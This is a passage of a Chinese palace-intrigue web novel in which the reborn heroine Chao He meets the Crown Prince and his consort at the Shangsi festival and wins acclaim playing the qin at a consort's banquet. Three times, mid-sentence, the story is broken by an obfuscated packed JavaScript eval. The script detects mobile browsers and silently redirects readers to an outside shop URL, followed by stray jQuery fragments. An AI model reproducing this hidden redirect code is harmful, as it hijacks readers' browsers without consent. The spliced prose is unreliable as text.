她双颊微红，像盒打翻了的胭脂，笑意粉末似的散进了眼里，最终又和着泪滴，成了脸上一道红痕。 “你娘说，我妆花了。”容氏笑，却难掩泪光，她擦了擦脸，“我谢过她，拭干了泪，看是大夫人，不免惊惶。她却诧异，想必是认出了我。” “我进府那日，沸沸扬扬的。人家一听眉心痣，便晓得是我这个妓女。”容氏自嘲道。 “大夫人见了我的脸，我以为她会鄙夷。”她继续说，“可她没有。她依旧柔和着神情，以甚说是哀婉。” “她叹息了一声，便派侍女去给管家传话。我想，她大约是可怜我。” 朝和望着容氏动容，静默了一会，又明知故问道：“后来呢？” 容氏却回过头朝她微笑：“当家主母的口信，自然管用。” “她这一句话，让我撑过了没有子嗣傍身的时候，至少管家不敢怠慢。”容氏喟然长叹，眼里泛着水光，“后来她没了，慢慢的，就变成现在了。” 朝和没做声，她忙着利用这只言片语，拼凑出母亲的形象。 这段往事，仿佛是将一株盛放的花攥紧了又展开，到底是有皱纹。 褶皱深了，便裂成了口子。 她娘便是崩裂得太厉害，才会大好年华里，逝世也无可挽回。 这其中的推手，有赵氏的份，有朝彦的份，有稳婆的份，更有老太太的份。 朝和心里有了计较，问：“我娘的丫鬟，唤小翠的那个，还能找着吗？” “或许是躲乡下去了吧。”容氏想了想，道，“在大户人家做过，又掺和了阴私，想必也不敢再露头。” “没死就成，眉目总会有。”朝和道。 只要银子到位，小翠也好，稳婆也罢，何愁会寻不到？ “他二房夫妻俩，尤其是赵氏，一个都跑不掉。” 朝和神色沉沉，牵起的唇角也彻底冷了下来。 容氏颔首：“国公爷与二爷同朝为官，兄弟间总不方便。如今府里人少了许多，争宠，我还是应付得来的。” “不急于一时。”朝和却摇摇头，“争也罢，不争也罢，你无论如何得把身子养好。” “我替你请个郎中。”她沉吟着蹙眉，“朝卉也是。” “小小年纪，都瘦成杆儿了。” “需用心养着才好。” …… 燕衔新泥飞筑巢，春来意晚知鸳鸯，日光弹指一瞬间，转眼便是三月三。 三月三，上巳节，曲水流觞春日宴。 朝和虽有耳闻，却从未亲历，心向往之畅想之际，两个丫鬟却比她还亢奋。 “今年宫里照旧要办赏花宴，小姐以往没去成，这两日可一定要好好玩！”珠连兴高采烈，“正巧绣娘新送了一批好料子，小姐挑挑衣裳？” 见朝和望了一眼便默默挪开目光，珠连“腾”地一下窜过来：“一点不花里胡哨，奴婢保证！” 她话罢又央求：“小姐，珠连好容易卷了一堆漂亮衣裳出来，您就行行好，亲自过目一下嘛。” “我也看过了。”合璧莞尔，“绣娘都很识本分，小姐放宽心。” 言外之意便是也期待她去试试。 朝和听了半响，摇摇头，脸全扑进了书里。 “穿什么不都一样吗？”她闷声道，“换来换去的，好生麻烦。” “那赶明儿上巳节，若您遇着了好郎君，却懊恼衣裳不可心，那该如何是好？”珠连语重心长道。 朝和从书后探出头，瞅了她一眼：“越说越没谱了。” “当心我不婚不嫁，真守着你俩过日子。”朝和道，笑得半真半假，须臾又颔首，“尤其是珠连，先把你熬成老姑娘。” “啊？”珠连哭丧着脸，“那奴婢便有天大的罪过了。” “我错了小姐，奴婢再也不拿您取笑了。” 她苦巴巴地皱着脸，嘟嘟囔囔了一会，末了又道：“那小姐还挑不挑裙子了？” 朝和被两人来回一折腾，早歇了念书的心思，没好气地说：“挑！” 珠连顿时喜笑颜开。 她殷勤地抽出条白襦裙来，动作快得像变戏法，还在喜滋滋地笑：“小姐，如何？” 这下连合璧也嗔怪了。 “你是蓄谋已久的吧？”朝和睨她。 …… 晓雾未散胭脂醒，朝和打着哈欠，一大早便被拽起来梳妆打扮。 “这可是小姐头回出席上巳节，自然不能马虎。”合璧振振有词。 “依小姐的容貌，不知今日要迷走多少儿郎。”珠连喟然长叹。 朝和忍无可忍：“你们够了。” “叶云锦还在外头等着呢。再磨叽，让我挨了骂，要你俩好看。” 她威胁道，腔调却因早起显得软绵绵的，丝毫没有威慑力。 两个丫鬟照旧嘻嘻哈哈，不以为然，簇拥着她上了马车，见了云锦那张冷冰冰地面孔，才面面相觑，骤然噤声。 及下车朝和还在笑。 她捅了捅云锦的臂弯：“我这两个丫头，真是怕你怕得不得了。” “一物降一物。”她慨然长叹。 “你便不怕吗？”叶云锦抽了抽嘴角，冷不丁道。 朝和却置若罔闻。 她只管环顾周遭，满心满眼新鲜得很。 “这些个贵女，我一个都没见过。”朝和凑近云锦，问，“站树下的是哪家的？” 她示意云锦去瞧不远处的蓝裙贵女：“看起来好生娴雅。” 那女子柳眉杏眼，形容温婉。 “户部侍郎的长女，唤作陈蓉的。”云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583972|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦思量了片刻，道。 “那橙黄衣裳的呢？”朝和扒拉着云锦，又问。 她望着对方的面容，只觉愈发熟悉，在记忆中搜刮了许久，才终于恍然大悟。 朝和正要兴致勃勃地分享，却听说是吏部尚书的幼女，不免慨叹：“真是有其父必有其女。” 见云锦迷惑，她又赞叹着解释道：“寿宴那日，她替我打抱不平，嘴皮子可相当利索。” 叶云锦揶揄：“原来如此。我还以为你教人家捏了什么把柄，当真吓我一跳。” 朝和白她一眼，也不吭声，当即半拖半拽，径直推着她往曲水流觞处去了。 临河岸边上，朝和却挑了个稍远的角落，随即再不肯动。 “怎么？”叶云锦诧异，“不走了？” 朝和摇摇头：“挨近了不好，我又不会作诗，万一被盛邀也不好拒绝，丢了颜面就不好了。” “那我呢？”叶云锦好笑道，“你不闻不问生拉硬拽逼我至此，又说自己要作壁上观。” “万一我也想饮酒作诗，你要如何收场？” 朝和瞅她一眼，没好气地说：“那我只好勉为其难，陪你下场了。” 见她刻意板脸，叶云锦不觉失笑，她正预备开口，余光却瞥见了别的什么东西，忙攥紧朝和的手牵其去看。 只见河对岸的口上，有一男一女姿态亲昵，并肩而行，正缓步朝她们这厢走来。 而那对锦衣华服的男女不是旁人。 正是朝和恨不得除之后快的太子夫妇。 她没想到再世为人，与仇人相见，会是这样的场景。 他二人携手相伴，卿卿我我，所及之处羡煞旁人。 反教从玉做孤魂野鬼，怨气冲天，死了也不得安宁。 一个温文尔雅，一个如花美眷，的确是天作之合，朝和满心讥诮。可为着这场夫妻情深，他们便碾碎了她的肉，踏破了她的骨，熬干了她的血。 让她心灰意冷，害她万箭穿心，逼她抱恨而终！ 思及此处，朝和只觉脑中发烫，血液倒灌。 一时间胸闷气短，巴不得立时冲上去，将这两个衣冠禽兽千刀万剐—— 可理智却在警铃大作。 她清楚时机未到，但依旧心绪不平，只得攥紧拳头掐着掌心，让自己千万别忘记前世的苦楚。 叶云锦在朝和傍站着，后者种种情态自然落入她眼中。 可她也只能箍紧朝和的手，咬牙切齿地咒骂：“那两个狼心狗肺的东西，也不怕遭了业报，没脸没皮的，还来招摇。” “谁说不是？”朝和冷笑，“不过也无需业报，我既是已做过鬼，便绝不会放过他二人。” 叶云锦依旧紧紧抓着她的胳臂，沉吟道：“你接下来，有打算吗？” “总得先把家务事料理好。”朝和苦笑，“内忧不解治外患，照二房猖狂的那个劲，我也有得受了。” 听叶云锦应声，朝和瞧了瞧两人交握的手臂，本想调侃说自己知道分寸，她无需抓自己这般牢。 可就在她抬眸的刹那，却倏地一惊，当即也顾不上什么胳膊不胳膊，扯起云锦就想走。 15. 再遇 那侍卫冲她揖手，朝和却抛眼遥望对岸。 卫潜正携沈瑜，饶有兴致地看来这厢。 “还请小姐快些。”那侍卫催促，“殿下还在等您。” 立时地，云锦那双手揪得她更紧了。 “无妨。”朝和安慰她，嗓音压得很低，“我去去便回。” …… 河沿。 “殿下怎么对那位起了兴趣？”沈瑜轻声问，揽紧了卫潜臂弯。 “见是个生面孔，好奇罢了。”卫潜道，接着瞅也没瞅她一眼，极不耐烦地说，“怎么，孤连个人都不能瞧瞧吗？” 二人正低声耳语，转眼间，侍卫已领着朝和过来了。 “参见太子、太子妃殿下。”朝和低眉。 “免礼。”卫潜温声说，“你是哪家的女儿？孤与太子妃，怎么都没见过你。” “臣女是宁国公府的小姐，行二，唤朝和。”她不卑不亢道。 卫潜恍然大悟，眸中浮上欣赏：“你便是朝二小姐。叶老太太的寿宴闹得沸沸扬扬的，如今一见，果真伶俐。” 他言笑晏晏间，温情地看了眼沈瑜，戏谑道：“生得还这般貌美，假以时日，盛名必与你不相上下。” 沈瑜愣了一下，须臾又弯起嘴角：“殿下说笑了。名声乃浮云之物，臣妾一向不在乎，只是朝二小姐年轻，莫染上功利之心才好。” 她叹息着话毕，又警告地睨了朝和一眼，明摆是敲打。 朝和却莞尔：“殿下告诫，臣女必奉之为金圭玉臬，不敢忘怀。” 见她识相，沈瑜满意颔首，将要启唇，却听朝和话锋一转，又道：“只是臣女虽久病初愈才出公府，京中一应事宜全然不知，却也清楚自古英雄出少年之理。 若不能年少立志，磨灭功利之心，则朝堂百花齐放之景便未可闻了。官家如此，臣女又岂能免俗？是以殿下所言，臣女不敢苟同，还望殿下见谅。” 她微微屈膝，彬彬有礼，沈瑜却险些被怼得七窍生烟，她脸上青一阵白一阵，当即冷笑：“区区——” “——朝二小姐，果真是虎父无犬女。”可她气声刚起，便被太子朗声打断了。 “且不提她言之有理，只说太子妃出身相府，容人之量，孤信你还是有的。”卫潜似笑非笑，睨了沈瑜一眼，又侧脸向朝和。“今日春和景明，孤常忙于政务，却也想来贵妃的新园子里逛逛。本欲请位小姐领路，可瞧如今这个时辰，怕是不能了。” 他叹了口气，须臾又欣慰一笑：“不过，能得遇朝二小姐，却是幸事一桩，孤与你一见如故，可天色既晚，阿瑜又身子不适，那便改日再会。” “告辞。”他浅笑点头，端得是风度翩翩，可朝和目送他离去，却满心作呕。 “这一趟下来，我脸都笑酸了。”朝和飞一般回至云锦身旁，抱怨着揉揉肩膀。 “怎么，他们为难你了？”叶云锦关切道。 “那倒没有。”朝和讥诮，“倒是我那好姐姐，你也晓得，一贯的爱作秀。” 名利乃身外之物？朝和心里轻蔑，她沈瑜若不屑声名，那天下便没有熙熙攘攘为利之徒了。 “她没讨上好吗？”叶云锦笑，心如明镜。 “自然。”朝和骄矜颔首，转眼又冷笑，“只是那太子，也不知是吃错了什么药，竟无端地替我说话了。” “一见如故？”朝和轻蔑，“依我看，根本是见色起意。” “他真如此说？”叶云锦皱眉，“既他是如何也避不过的，你往后须更当心些。” “我晓得的。”朝和点头，偏脸又问道，“方才，临别时候，我听有个侍卫朝他回禀，说燕王请他议事。” 见她一脸凝重，云锦霎时头疼起来：“燕王？” “好端端的上巳节，他一个冷脸冰块，凑什么热闹？这倒是奇了。” “我听了，也大吃一惊。”朝和担忧，“上巳节都来了，赶明儿赏花宴，不会也要来讨杯羹吧？” “兴许是了。我听学生说，此回宴席是贵妃操办。母妃的面子，无论如何也要给。”叶云锦蹙眉。 “这正是坏事的地方。”她忧心忡忡道，“我没请帖，怕是陪不了你了。若真遇着他，万一再有个太子，你一个人，更得小心。” 见云锦忧愁，朝和有心安慰，又揶揄她：“若明日撞了大运被点名，表演罢了没风头，事毕了便寻你算账。” “可别。”叶云锦一听，晓得是朝和慰藉，遂顺势瞪她一眼，笑道，“我自然是不敢认你的。” “晚啦。”朝和斜着眼看她，“你最初的营生都靠我招来，这师生的事，半个京城都知晓。” “我才得罪罢太子妃，明日遭了刁难，还得想想如何不丢脸才好。”她微蹙着眉心，瞧样子很在思索。 叶云锦看了好笑，遂给她泼凉水道：“丢不丢脸，倒还次要，要紧的是你得保住自个儿这个活招牌。” 朝和看她一眼，也听出了里头的警醒意味，当即盖住她的手，安慰似的轻声道：“嗯，我晓得，你放心，我命金贵着呢。” 她骄矜地翘起唇角。 …… 当夜。 东宫烛火摇曳，檀香袅袅，沈瑜却?一进殿便火冒三丈。 “该死！”她骂了一声，便歪在了内殿的美人榻上。 趁主子抽气的当，她的贴身侍女莲香便吩咐下人关好门窗。 “殿下劳累了一天，正头疼得很。”她警告道，“急需安静的时候，全都出去，让殿下好好歇息。” 她驱赶走了外人，望了望空荡荡的大殿，心底叹息了一声，随即快步走到沈瑜跟前，沉声道：“殿下，都出去了。” 沈瑜“嗯”了一声，依旧闭着眼。 莲香迟疑了一下，小心翼翼道：“殿下，要奴婢替您按按吗？” 见主子没吭声，她这才放心大胆地伸上手去，替她按揉穴位，沉吟着说：“今日的事，殿下怎么看？” “怎么看？还能怎么看？”沈瑜冷笑，“太子摆明了是对朝家的二女儿有意思。” 莲香这一问，登时让她打开了话匣子，懊怨一股脑地倒了出来。 “宁国公的独女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590889|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，娶了便是个军中的助力，可这样的家世，总不能当个侧妃。” 莲香观察着主子的神色，谨慎道：“太子到底背靠相府，便是个侍妾，纳与不纳，不还是要看娘娘的意思？” “这倒是。”沈瑜面色和缓了些许。 见状，莲香趁热打铁：“依奴婢之见，侧妃，也无不可。” “侧妃？”仿佛是谈及合心处，沈瑜勾了勾嘴角，喟叹道，“也对，太子当初能把沈从玉哄得团团转，我倒不愁他拿不下朝和的心。” 可她的神情只松快了一瞬，须臾又变了脸色。 “但就算朝和乐意，宁国公肯吗？”沈瑜说至激动处，忍不住直起腰，可霎时又捂住了眉心。 见她又倚回了榻上，莲香松了口气，手下动作却不停。 “那殿下是想——”莲香试探道。 “若真娶了，怕也得是个平妻。”沈瑜冷声道，可依旧面色难看，“可瞧她尖牙利嘴的那个样儿，还有个国公府的家底，他日真进了宫，保不齐握不住她。” 莲香见她紧锁眉头，斟酌着提议道：“殿下，不如去与老爷夫人商量商量？” “相府？”沈瑜诧异。 可她只惊疑了一瞬便缓过神：“不错，还有相府。” “莲香。”她吩咐道，“你亲自去给母亲传个信，现在就去，要快！” “就说——”沈瑜沉吟了一会，话至嘴边又咽了回去，“算了，你去备笔墨纸砚。” “我亲自修书一封。” …… 蒹葭院。 朝和惊奇地望了眼天光，回眸道：“今儿怎对我这般好？昨个起来，天还是青的呢。” “小姐昨日回来，就心事重重的。奴婢们想，大约是见了太子的缘故。”合璧轻声说，在妆奁里翻捡。 “小姐俊俏，这才惹了那太子目光。”珠连丧气道，“瞧小姐的心事，或许是朵烂桃花吧。” 她此话一出，朝和忍不得要侧目。 “这话合璧说了不奇怪，可从你口中出来，我难免惊讶。”朝和调侃着，摸了摸发间的头花。 “小姐！”珠连当即梗着脖子，不服气道，“奴婢……奴婢这是粗中有细！”她似乎了思忖了好些时候才冒出个词来。 “好好好。贴切得很。”朝和哄她，“不过，你二人说得有理，昨日那妆扮，着实惹眼了些。” 红衫白裙，胳膊还绕个蓝披帛，想不被注意都难。 朝和腹诽着，心里却又是一阵后怕。 忆起燕王寿宴那个眼神，再想想昨个太子的话，这俩人若全到场，那她算是真没地哭去了。 思及此，朝和忙指挥合璧道：“你去给我挑个素净的。” 半响又觉着不妥，她赶紧补充：“得体是要有的，但还是越素越好。 …… 棠华宫偏殿。 赵氏来得早，殿里的几个人稀稀拉拉地坐着，一见没有高官家的夫人，她嫌弃地撇了下嘴角，便拣了个稍远的位子坐下。 正当她百无聊赖之际，却骤闻有人搭话。 16. 宫宴 “朝夫人，幸会。” 赵氏抬眼一瞧，却见是个三十出头的美妇人，笑吟吟的。 此人她识得，正是当今丞相的内室，太子妃的生母，苏含漪沈苏氏。 赵氏大吃一惊，心中不免犹疑，却也只好干笑了两声道：“幸会，沈夫人。” 她眼睁睁看着苏氏在自己跟前落了座，稍纵就开口。 “朝二夫人这身，是今年新供的缎子吧？”苏氏道，“妾身还未见过，夫人便穿上了。还得是圣上爱重国公府。” 她一上来便奉承，赵氏摸不清底细，却也下意识地吹捧道：“夫人说笑。如今太子妃是沈家的女儿，相爷又是御前红人，贵府才可谓如日中天。” 苏氏闻言，立时翘起了嘴角，面上却依旧含蓄道：“哪里哪里，朝夫人才最有福气。贵府三位小姐个个亭亭玉立，落落大方，贴心也全奔着您这个母亲去，妾身艳羡还来不及。” 她眼含向往，赵氏却愣在原地：“夫人莫非记错了？妾身，只有两个女儿。” “两个？”苏氏惊诧，“先前寿宴，口齿伶俐的朝二小姐朝和，不是您家的女儿吗？” 朝和？朝和怎会是她的女儿？ 赵氏咬牙切齿，侧目远望，谁料不看还好，一看便险些背了气。 她的亲女儿哪怕坐在小姐堆里也忙着交头接耳，窃窃私语，言行举止哪能与落落大方沾上边？ 赵氏恨铁不成钢地睨了女儿一眼，后者却依旧专心附耳，竟毫未觉察。 赵氏尴尬之下，却也只得踉跄着收回目光，可思及苏氏方才所讲，又不由自主地想起寿宴当日朝容被朝和巧舌如簧所激步步后退之景，不觉单手撑额，头疼不已。 至于朝仪？赵氏咬牙冷笑。 ——哼，不提也罢。 赵氏愈想愈忿，恨不得当即径直奔过去，将女儿扯出来好好教训，呵斥俩人怎如此不成器，回回都能被朝和抢了风头。 可她回头一瞧，再恼恨也得把气咽下去，勉强挤出个笑应付苏氏：“想必是朝和久不露脸，才致夫人有此谬误，她是大房所生，并非我亲女。” “原来如此，都怪我眼拙，竟忘了这茬。”苏氏抱歉一笑，转念又道，“既然如此，那和小姐的生母，便是当年名动京城的崔家小姐了。可惜红颜薄命，好在如今看朝二小姐，比之其母也是不遑多让。” 赵氏听她骤夸崔氏，不觉暗自咬牙，面上却也只得讪笑道：“的确如此，朝和这孩子，苦命得很。” “好在如今都好了。”苏氏笑吟吟的，又问，“听前线屡屡捷报，想必国公爷归京，就在旦夕了。” “虽家门显赫，可和小姐倒是个喜素净的，姐姐妹妹里头，除了她，无不是锦衣华服的。”苏氏颔首，“你瞧，说曹操曹操到。想必宁国公回来，见女儿肖似亡妻，也会欣慰吧。” 赵氏循声望去，只见朝和一袭藕荷衫子，白裙上半丝纹样也无，清丽动人，仿佛不食烟火，稍纵，便扎进贵女堆里不见了。 她这才将脸调回来，朝苏氏道：“这孩子一向不喜奢华，该她的份例也宽和待下，教容儿仪儿得了不少好处。说起来，我也有些歉疚。” 苏氏睨她一眼，也听出是找补之言。 朝和身为宁国公独女却服饰不煊，赵氏连番遮掩，显然是想揭过其苛待侄女之行。 苏氏这般想完，笑容幽深了些许，既觉铺垫足够，语气也变得意味深长。 “国公府有小辈而无男丁，刀剑无眼，若有朝一日意外横生，家产也必定落入二小姐之手。” “夫人心善，纵了她慷慨仁让的意，却从未想过替自己打算吗？” 随着两声浅笑，她这话轻飘飘地说完，骤然地，赵氏却变了脸色。 赵氏猛得转头，眉目不掩惊惶。 她下意识环顾周遭，后怕之下，不觉压低了声音：“沈夫人此言何意？” “何意？”苏氏拈指捋了捋鬓发，举止娴雅，轻叹道，“我与夫人一见如故，既话已说开，便不多遮掩了。” “依我看，国公爷虽与先夫人伉俪情深，可再娶也并无不可，早婚晚婚，这世子的名头，也断不会落在二房头上。” “若得不到，那只好——” “除之以绝后患，而图夫人心快了。” 她云淡风轻，巧笑嫣然； 赵氏却骇目圆睁，傻呆呆愣在当场，许久才讷讷回神。 她注视着苏氏似笑非笑的脸，终于咬咬牙，屈服似的下定了某种决心，沉声道：“还请丞相夫人，不吝赐教。” …… 日上三竿，萧贵妃一身赪紫宫装，姗姗来迟，巧笑嫣然说久等，颔首间，仿佛步摇流盼，步步生辉。 “诸位且随老奴来，移步储秀园。”陈嬷嬷欠身。她是贵妃的陪嫁嬷嬷，将将露过脸的，偏殿告诫过众人，说稍安勿躁。 众夫人小姐喏喏应声，往园子的路上也是花团锦簇的，贵妃走在最前头，裙摆的芍药艳丽逼人，隐隐还能看见点雪似的香腮，鬓间珠光宝气，真无愧是宠冠六宫。 “娘娘头上的南珠，是合浦新供的吧，我还从未见过那般大的珍珠。”朝和前头的千金道，眼中流露出艳羡的光。 “如今后位空悬，贵妃又家世显赫，最得圣心，有什么好的，自是紧着娘娘先挑。”另一个千金道。 “也是，娘娘就燕王一个儿子，子凭母贵，更别提还继承了娘娘的好样貌。说起来，殿下还未选妃，也不晓得哪家女儿会有如此艳福。”头个千金感慨。 “欸，我听说，此回赏花宴除却是依往年惯例举办外，似乎，娘娘也存了替殿下选正妃的意图。” 那女子神神秘秘，可将前一个贵女诱得心神激荡，当下亢奋道：“此言当真？” 她看着知情人士双颊霞飞欲语还休，还未等多问两声，便听陈嬷嬷威严开口请落座。 此言一出，朝和也只得歇了八卦的心思，随意挑了个位置坐下，任凭芍药将她挡住，唏嘘的同时，亦不免感慨。 得亏穿了个不起眼的衣裳，朝和庆幸地想，否则，若卫翎真如小道消息般前来，还教她一个不慎撞见了，那更是倒霉。 一想起先前初见的情景，朝和便一阵发怵。 纵才灌罢了茶水，竟也莫名喉干。 再一瞥眼，瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594099|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见眼前案几各式糕点数不胜数，不觉腹饥难耐。 她眯着眼，望向高台之上的贵妃—— 待她宣过彩头，一声令下，自己便能大快朵颐—— 只见萧贵妃柔荑轻招，朝跟前的侍女耳语了几句，转瞬手上便多了个盒子。 她垂眸从中取出支嵌玉芍药金步摇来，并蒂花栩栩如生，三串珍珠莹白润光，一瞧，便是顶尖匠造的步摇。 贵妃“咔哒”一声合上妆匣，俯瞰众人笑吟吟道：“今儿人多，本宫也高兴，光吃不玩总没意思，本宫与陛下一番商量，特从陪嫁里挑了支步摇，割爱作彩头。 琴棋书画，各挑一样，哪位千金表演获彩最多，便将步摇赐给谁。” 贵妃盈盈转眸，示下开始，却见席间贵女面面相觑，踟蹰不前，遂道：“出言举荐，也无不可。” 她顿了顿，又出言安慰：“偶有失误也无伤大雅，宴会以欢欣为妙，本宫自不会问责。” 她此言一出，台下顿觉活泛，三个两个侧目相接，好不热闹。 见周遭千金跃跃欲试，朝和却无动于衷，反倒对几前的凤梨酥爱不释手，珠连不由悄悄问她：“小姐，你不想要步摇吗？” 朝和漫不经心道：“金银玉器，虽说多多益善，可也须瞧够不够得上才成。” 她言尽，却半天都没个回响，侧目一看，却见珠连一头雾水，不觉莞尔：“方才来时路上，那两个小姐的话，你没听吗？” “奴婢自然有听！”珠连使劲点头，思虑片刻，却依旧不得要领，只好低声懊恼，“可奴婢依旧不解其意——” 朝和无可奈何，遂点拨道：“贵妃出手，必是奇珍异宝，且是陪嫁之物，怎么不能算选儿媳？” 珠连一听，当即目瞪口呆，许久才寻回嗓音，道：“那小姐还是莫凑热闹的好。” 她嘀嘀咕咕地说：“那燕王殿下，俊归俊，可也忒目中无人了些。” “上回见着小姐，一气都没吭。”珠连抱怨，“先前未见，我只当冰块脸是夸大其词，那日才晓得是名不虚传。” “得亏这芍药养得好，才能所在后头，这也没什么不好的。”朝和点点头，深以为然，转头又招呼她二人道：“来来来，这可是御厨的手艺呢，出了宫，可就吃不着了。” 三人喁喁私语，旁观热闹，时不时往嘴里塞一块糕点，简直乐不思蜀。 “接下来轮到谁了？”朝和瞧得津津有味，以甚抬头问道。 珠连壮着胆子，往旁侧瞥了一眼，轻声说：“似乎是工部员外郎的长女，唤云若有。” 云若有？名字倒柔顺，却也有些说不出的熟悉，朝和思虑再三，却怎么也想不起这号人，不觉颔首，打算瞧瞧这位千金的庐山真面目，可她?一抬眼，便见其起身道： “娘娘，久闻朝家二小姐才艺超群，何不请她演奏一曲？” “臣女家中姐妹，对朝二小姐，可全是仰慕得很，如今也好大饱眼福。” 她恭谨屈膝，低头的瞬间，却侧目朝朝和一笑。 那一眼，朝和看得很清楚。 分明是满腔的忌恨与能拖她下水的张扬。 17. 真意 云小姐阴森森的目光，宛如一个惊雷，登时炸在朝和心上。 她倏地打了个激灵——那无端而来的熟悉感，也终是有了眉目。 朝和恍然。 她就说怎的似逢旧人。 云小姐，云若有，不正是沈瑜的手帕交么！ 朝和原在纳罕，素昧平生，云若有何苦来哉；缘是早早得了状告，要当个先锋，替沈瑜打抱不平。 昔日相府，云若有便对她百般羞辱。 如今更是宁可舍了贵妃的金步摇，也要拖自己下水。 朝和冷眼望着她，静待其余音将尽，这才袅袅婷婷地起身，朝贵妃行礼：“承蒙娘娘抬爱，云小姐谬赞，愧不敢当，小姐盛请难却，也唯有献丑一曲，若有谬误之处，还望娘娘恕罪。” 她谦卑躬身，贵妃莞尔一笑，随即命婢女抬焦尾琴上来，笑吟吟道：“陛下曾赐本宫此琴，可惜本宫不善音律，只得妥善保管，以甚至今。” “云大小姐盛赞在前，朝二小姐，本宫信你，必不会辜负此琴。” 此言一出，举座四惊，纷纷喁喁，投朝和以艳羡目光。 当事人却不动声色，欠身说多谢娘娘，便从容自得跪坐琴前。 朝和眉目沉沉，小心将手扶在弦上。 她看得出来，贵妃方才虽笑颜款款，却饱含深意。 这是个机会。是萧贵妃给朝和的机会，也是她给自己的机会。 朝和抿抿唇。她本无意风头，可有人存心招惹，也不能落人口舌。 于琴上，朝和兴许不善，沈从玉却以此见长。 姑且算云锦押对了题罢。朝和不着调地想，额头却沁出汗珠。 ——到底是旷古名琴近在咫尺。 她垂眸盯了半响，深吸一口气，终于撮开了琴弦。 初闻高山巍巍，再听流水洋洋，琴随指尖动，心随弦音绝，一曲罢，周遭屏息凝神，却也终于谢幕。 朝和抬指，如蝶离花梢，起身时，裙角也不曾沾得琴身分毫。 她蹁跹移步，恭恭谨谨道：“臣女不才，一曲《高山流水》敬献娘娘。愿我朝山河永盛，社稷长安，娘娘芳华永驻，福泽绵长。” 萧贵妃端坐上首，闻声已眉眼弯弯：“真真是个可人儿，朝二小姐名不虚传，幸有云大小姐举荐，本宫也如听仙乐。” 云若有本因朝和曲惊四座面色铁青，闻得贵妃此言也只得即刻起身，干巴巴道：“娘娘慧眼识珠，臣女偶提拙见，不敢居功。” “无论如何，朝二小姐琴艺高超，都该封赏。”她雍容一笑，眼含赞赏：“紫英，去将我那对翡翠玉如意拿来，赐给朝二小姐。” “臣女，谢娘娘恩典！”朝和高声谢恩，双手交叠额前，跪拜行礼。 闻起身之言，朝和侧身后退三步，这才转身落了座。 萧贵妃望着她，见后者半张脸都藏在了芍药里，不由失笑。 她美目流盼，低声道：“宁国公，倒是生了个好女儿。” 紫英轻笑：“娘娘，这是看上了？” 萧贵妃嗔怪地瞥她一眼。 “如何不可？” “礼数周全，人比花娇，虽说名声差了些，但家世煊赫才最要紧。” “况且，宁国公可就这么一个女儿。” 萧贵妃说罢，余光往旁瞥了一眼，见举目无人，不由蹙眉。 “翎儿人呢？本宫可是前几日就与他说好了。”她不满道，“怎么都现在了还没个影子？” 见她焦躁，紫英忙不迭安慰道：“娘娘，殿下向来说到做到，眼下没来，指不定是被什么耽搁了。” “既然殿下迟早要来，奴婢觉得，您也不必过于忧虑了，眼下听着云小姐吟歌，奴婢心情很舒畅呢。” 萧贵妃睨了她一眼：“歌儿是好听，可人却工于心计了些。本宫不喜欢。” 正说着，听云若有叩谢，萧贵妃漫不经心赏了她个笑脸，又开始担忧儿子的去向来。 “这混小子！”贵妃静待片刻仍不见影踪，当即怒从心起，“又让本宫等了半天！待他来了——” “——来了就如何？” 泠泠之音倏然响起，贵妃恍然回头，见确是卫翎那张清风朗月的面孔，登时转身将他痛批了一顿：“你还知道要来？本宫等得你花都谢了！真是耽误满园春色！” 见母妃忿忿转身，卫翎无奈地弯了下嘴角，忙不迭请罪道：“儿臣赴宴来迟，还望母妃恕罪。” “你此回又是为着什么事？”贵妃哼了一声，瞟他一眼，没好气道。 “还是太子。”卫翎言简意赅道，“故而多纠缠了些时侯。” “小事罢了，眼下都已解决了。”卫翎轻描淡写，罢了挑过了话题，迟疑地说，“母妃三令五申召我前来，可是有要事与儿臣相商？” 他言语间，抬眼瞥了下周遭，见尽数是莺莺燕燕，不觉无奈道：“母妃，儿臣说过许多次，暂无心选妃，儿臣——” 萧贵妃白他一眼，径直打断了他的话：“本宫也话罢无数次。要你选个姑娘，早日成家，我与你父皇也能放心些。” 见卫翎拉下嘴角，萧贵妃恍若未觉，语气里带着不容置疑的意味：“行了，如今也不要你挑，母妃给你相看好了。” 她轻抚云鬓，唇角微勾：“喏，最末排那个，就是本宫也自己相看的儿媳。” 贵妃言尽，也不管儿子的脸色，听他一语未发只当是不情不愿，兀自苦口婆心：“待会便将那步摇赐下去，此事将近板上钉钉了。 本宫晓得你觉着那些个全是庸脂俗粉，可总得寻个媳妇儿过日子吧？ 